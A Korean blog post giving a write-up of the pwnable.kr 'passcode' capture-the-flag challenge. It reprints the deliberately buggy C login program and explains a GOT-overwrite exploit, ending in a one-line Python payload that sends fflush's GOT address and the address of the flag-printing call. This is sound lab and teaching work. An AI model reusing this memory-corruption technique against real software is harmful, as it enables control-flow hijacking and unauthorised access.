728x90

Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that?

#include <stdio.h>
#include <stdlib.h>
void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1); #########4
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : "); 
        scanf("%d", passcode2);  ########5

        printf("checking...\n");  ########5
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}
void welcome(){
        char name[100];
        printf("enter you name : ");   ##########2
        scanf("%100s", name);
        printf("Welcome %s!\n", name);########3
}
int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n"); #######1

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

읽어보니깐 scanf에서 &가 없어서 passcode 1, 2를 주소로 인식한다. 즉 입력한 주소값으로 이동시킬 수 있다.

 

그리고 name을 입력받을땐 배열이므로 &가 없는게 맞는듯..

 

got/plt를 이용하여서 풀거다.

 

name변수와 passcode1변수의 거리가 112-16 = 96인데 name에서 100개를 입력받으므로 마지막 8바이트는 passcode1에 들어갈 것이다.

passcode1에 fflush함수의 got값을 넣어주면 scanf오류때문에 해당 주소에 overwrite할 수 있다.

fflush의 got는 0x804a004, 

그러면 우리가 원하는 주소인 

cat flag를 넣어주면 된다.

 

또한 scanf에서 %d로 받기 때문에 마지막 주소는 10진수로 바꿔줘야 한다.

 

(python -c 'print "\x90"*96+"\x04\xa0\x04\x08"+"134514147"') | ./passcode

 

Sorry mom.. I got confused about scanf usage :(

728x90

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] cmd1  (0) 2020.10.10
[pwnable.kr] random  (0) 2020.10.09
[pwnable.kr] mistake  (0) 2020.10.03
[pwnable.kr] lotto  (0) 2020.09.23
[pwnable.kr] flag  (0) 2020.09.23

+ Recent posts